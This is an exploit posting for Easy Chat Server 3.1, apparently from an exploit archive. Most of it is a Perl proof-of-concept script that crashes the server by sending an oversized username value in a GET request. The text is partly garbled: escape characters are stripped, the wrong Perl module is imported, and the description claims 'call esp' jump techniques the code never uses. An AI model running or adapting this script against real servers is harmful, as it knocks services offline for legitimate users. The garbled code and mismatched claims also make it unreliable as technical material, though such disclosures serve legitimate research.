Authored by Fernando Mengali

Easy Chat Server version 3.1 suffers from a denial of service vulnerability.

#!/usr/bin/perl


use Net::FTP;

# Exploit Title: Easy Chat Server 3.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 05 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1ZbfeaWSEKlpvCG1eUtD0vNnfkNz_8PlE/view
# Notification vendor: No reported
# Tested Version:Easy Chat Server 3.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo: https://drive.google.com/file/d/1rG6uTXTg3cTg86qmp9rh2ozQfyOV_Av7/view

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $payload = "x90" x 16;
$payload = "x41"x568;

my $buffer = "GET /chat.ghp?username=" . $payload . "&password=&room=2 HTTP/1.1rn";
$buffer .= "User-Agent: Internet Explorer/4.0rn";
$buffer .= "Host: $ip:$portrn";
$buffer .= "Referer: http://$iprn";
$buffer .= "Connection: Keep-Alivernrn";

print("[+] Exploiting...n");
my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Could not connect! Error: $!n";

$socket->send($buffer);
close($socket);


print "[+] Done - Exploited success!!!!!nn";

sub intro {
print "#################################################################n";
print "# Easy Chat Server 3.1 - Denied of Service #n";
print "# #n";
print "# Coded by Fernando Mengali #n";
print "# #n";
print "# e-mail: [email protected] #n";
print "# #n";
print "#################################################################n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated